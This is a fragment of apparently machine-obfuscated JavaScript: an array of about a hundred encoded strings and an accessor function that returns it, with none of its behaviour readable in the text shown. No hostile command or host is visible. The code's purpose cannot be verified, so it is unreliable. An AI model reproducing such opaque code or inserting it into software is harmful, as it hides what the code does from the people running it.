M=['WQ7dI8oo','ftXE','WQNdTIaKl3G7WOhdPWhcO8kq','hsddSq','W71JWOy','nwuf','WPmhbW','cvFdMG','E8oxW4y','WRZcKSkTdmopW5RcRv7cUmk4W6VcVJBdVG','W4msmG','gHpcGa','EIhdGa','m8kOWRa','w0VdTa','rG/cGq','W6G4bq','ctew','FLRdUa','W7TRWOy','WPJcV8oowxRdKuiyWQRdL8k0W7W','cmoFWRu','W55YW7PKpsRcVIxcVuddHSkmmG','rbVcTSkhW6z/W5HNrSkRW4RdLSk/jW','aa/cHGRcJSostW','o8ktWRG','W51RW6C','W5RdK8o9','k8odWRW','W6RdSSo1','WOakiq','g1ZcQa','WOxdGCkE','W4atiG','jmkhe38PWQ7cU8oRjSk8v8oP','W5ddJmo9','efddSW','W5BdU8ki','WP3dKG8','s8kvW4SEoSoxmJWkW5uFyc8','CmorW4C','AZzdWRW5WONcQ8oFWR3cImkMiN4','iG3dNCkQW7Xzu8oi','WRJdLmo5umk9WO3dPG','n8kWla','WOVdLbW','WOxcO1O','WR5NyW','fmopWPm','WRfkWQi','WOxdUvK','WRnoW60','h1VdPW','WRG2pa','yhip','WO7dRgC','W4tdKmoV','W6hdJSo/','A8kQWQK','ESoEW5a','W77dHmoO','fCoiWQa','W4WCcW','fhPb','chVdLSoixGGLxa','fmodWOK','W7mmWQi','xbtcHW','WQqSn8oCmq3dM3ZdScpcK8oR','e8oFWQG','W5uXWP8qF1tdNa','W4tcPCkxDrewW60','xmoeWPW','o8kuW57cHh9upw5XWRmaWOjb','WPFcUCojv37dLX42WR3dMSkbW6He','W77cOt4','WO/dKGC','hCosWPG','WP3dGZO','z8oEWRS','WPmQWQK','WOhdLGS','E8kstG','kSkYW7BdNMXDvmoUWOiHW4fZuq','W5VdImoR','W6bSWPO','C8olWP0','qq/cKa','dfVdSW','WQKToW','eSovWO4','WO4QWQW','ACogWPa','ft1b','oCkoWRy','lGldSG','fZ5j','WQhdTsGNkN5PW4xdItVcHSkeW7VcTq','mSkxW5hcGx9vob5LWRu0WRTHWPK','W5BdN8ox','W6ZdUmoW','WQndW6i','W6XTWOC','W6S3aNGDW4il'];a0N=function(){return M;};return a0N();}};